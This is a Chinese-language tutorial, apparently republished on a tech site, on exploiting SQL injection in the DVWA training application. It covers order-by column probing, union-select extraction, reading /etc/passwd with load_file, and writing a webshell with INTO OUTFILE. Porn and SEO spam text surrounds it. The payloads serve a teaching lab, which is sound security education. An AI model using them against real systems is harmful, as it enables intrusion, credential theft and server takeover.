成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

DVWA之從SQL注入到寫入webshell

安全 數據安全
這篇文章談論簡單的技術,利用sql注入(SQLi)漏洞,并獲得一個webshell,所有的演示都是用DVWA(滲透測試演練系統)。

這篇文章談論簡單的技術,利用sql注入(SQLi)漏洞,并獲得一個webshell,所有的演示都是用DVWA(滲透測試演練系統)。對于SQL注入利用,有以下幾個基本步驟:

1,發現SQL注入點;

2,通過mysql數據庫幫助,進一步進行注入,獲取帳號密碼等敏感信息;

3,上傳webshell,獲得一個反向連接。

本文所有的演示都是在DVWA(Dam Vulnerable Web Application)環境演示,DVWA是用PHP+Mysql編寫的一套用于常規WEB漏洞教學和檢測的WEB脆弱性測試程序。包含了SQL注入、XSS、盲注等常見的一些安全漏洞. 安裝好之后,我們在本文的演示中需要設置腳本安全級別為low(低)。

1、發現SQL注入點

識別SQL注入是關鍵的一步,它需要大量的技能和經驗來確定注入點。通過適當的分析應用程序,可以判斷什么地方存在注入點。在下面的屏幕截圖所示,“ID”字段中可能會受到SQL注入。程序功能需要一個整數做為用戶輸入,提交之后會顯示該ID對應的姓名。

當我們在用戶ID中加一個單引號(‘),會看到產生了數據庫的報錯,本次演示使用的是mysql數據庫。

之所以產生錯誤是因為,輸入的用戶ID中,單引號不是一個整數類型的,導致后端SQL查詢產生了錯誤,可以想象一下后端SQL查詢語句大概是這樣:

Mysql>select first_name,last_name from users where user_id=”;

如果輸入變成了非整數類型的單引號,SQL語句就會變成如下:

DVWA滲透測試演練系統之SQL注入

MySQL> select first_name, last_name from users where user_id=”’ ;

因此,產生了一個語法錯誤,所以注入點被確定為id字段。前端的該語句是會在后端的sql服務器進行執行的,這將使sql注入變為可能。

2、通過mysql數據庫幫助,進一步進行注入,獲取帳號密碼等敏感信息;

進一步嘗試猜測后端查詢語句,從而獲取mysql版本、數據庫名稱、列數等,通過前端的報錯等我們猜測后端的查詢語句是這樣的:

Mysql>select first_name,last_name for user where user_id=1;

以上只是胡亂猜測,我們需要通過mysql語句更進一步的進行測試,開始使用order by 。order by 語句可以對查詢結果進行排列,上面的語句中有兩列,使用order by 語句可以按照第一列first_name或者第二列last_name對結果進行排列。假如我們想根據第三列對結果進行排序,因為查詢語句中不存在第三列,就會產生報錯:

ERROR 1054 (42S22): Unknown column ’3′ in ‘order clause’

當我們使用order by 2的時候沒有產生任何錯誤,而使用order by 3的時候產生報錯,說明數據庫中只有兩列;通過這種方法我們可以使用order by語句猜測數據庫表中的列數。

user id輸入’ order by 3+–+的時候,后端SQL查詢語句如下:

Mysql>select first_name,last_name from user where user_id=”order by 3+–+’

可以看到因為不存在第三列會產生報錯。

user id輸入’order by 2+–+的時候,后端查詢語句如下:

Mysql>select first_name,last_name from user where user_id=”order by 2+–+’

可以看到沒有產生任何錯誤。

滲透測試演練系統dvwa

接下來進一步使用union查詢語句

為什么要使用聯合查詢?

Union查詢結合了兩個select查詢結果,根據上文中的order by語句我們知道查詢包含兩列,為了能夠現實兩列查詢結果,我們需要用union查詢了結合我們構造的另外一個select.注意在使用union查詢的時候需要和主查詢的列數相同。

MySQL> select first_name, last_name from users where user_id=”union select 1,2 ;

使用union select之后可以看到查詢結果顯示在了頁面上.

滲透測試演練系統Dvwa

繼續構造union select語句,來查詢正在使用中的用戶和數據庫,用以下語句:

‘union select user(),database()+–+

滲透測試演練系統DVWA

‘union select session_user(),current_user()+–+
‘union select 1,version()+–+ 查詢數據庫的版本。

使用聯合查詢語句構造,利用注入讀取/ect/passwd 文件(linux系統)

‘UNION SELECT 1, load_file(/etc/passwd) +–+

使用聯合查詢語句構造,利用注入讀取c:\1.txt (Windows系統)

‘ UNION SELECT 1, load_file(‘c:\\1.txt’) +–+        或者
‘ union select 1, load_file(‘c:\/1.txt’) +–+

滲透測試演練系統

3、利用sql注入寫入webshell

假設我們通過phpinfo文件知道了網站的物理路徑,接下來我們通過使用union select語句來寫入webshell.寫入需要你有寫入權限等。

‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +–+
‘ union select 1,’’ into outfile ‘c:\\2.php’+–+

本文中用到的DVWA(滲透測試演練系統):http://www.kalinux.org    帳號密碼: admin password,  暫時因為環境不支持sql injection漏洞的演練。

責任編輯:藍雨淚 來源: 紅黑聯盟
相關推薦

2020-08-30 14:34:42

Java語言安全編碼web安全

2013-01-28 17:33:42

2017-06-26 09:15:39

SQL數據庫基礎

2022-06-13 11:33:59

RedoMySQL

2023-11-13 08:55:41

2014-10-11 11:44:02

2023-05-09 08:34:51

PythonWith語句

2010-12-20 16:04:30

2018-10-16 10:54:45

2013-07-27 14:14:25

2017-08-10 10:23:59

2011-09-05 09:28:58

MySQLMongoDB

2017-04-07 11:15:49

原型鏈原型Javascript

2025-04-22 07:52:59

2012-02-29 00:49:06

Linux學習

2010-04-13 14:35:17

2012-11-08 14:28:16

2021-05-08 15:22:31

網絡安全Web安全SQL

2013-05-02 15:09:22

2020-10-26 07:04:29

SQL注入mysql
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 精品国产乱码久久久久久蜜柚 | 欧美激情啪啪 | 极品在线| 国产在线精品一区二区三区 | 亚洲欧美精品国产一级在线 | 久久久美女| av入口| 在线看片国产精品 | 97国产在线视频 | 九色网址| 欧美精品在线一区 | 欧美日韩综合 | 亚洲免费观看视频网站 | 视频一区二区在线观看 | 一级黄色播放 | 亚洲一区二区电影在线观看 | 先锋资源吧 | 精品中文视频 | 真人女人一级毛片免费播放 | 欧美在线视频一区二区 | 色爱区综合 | 日韩在线小视频 | 成人久久网 | 日韩精品一区二区三区中文字幕 | 给我免费的视频在线观看 | 久久久精选 | 青青久在线视频 | 国产成人精品综合 | 成人国内精品久久久久一区 | 激情欧美一区二区三区 | 91麻豆精品国产91久久久久久 | 国产欧美一区二区三区国产幕精品 | www.亚洲| 国产欧美精品一区二区三区 | 精品一级 | 成人免费av | 精品少妇v888av| caoporn国产精品免费公开 | 日韩欧美字幕 | 91精品国产综合久久久亚洲 | av永久|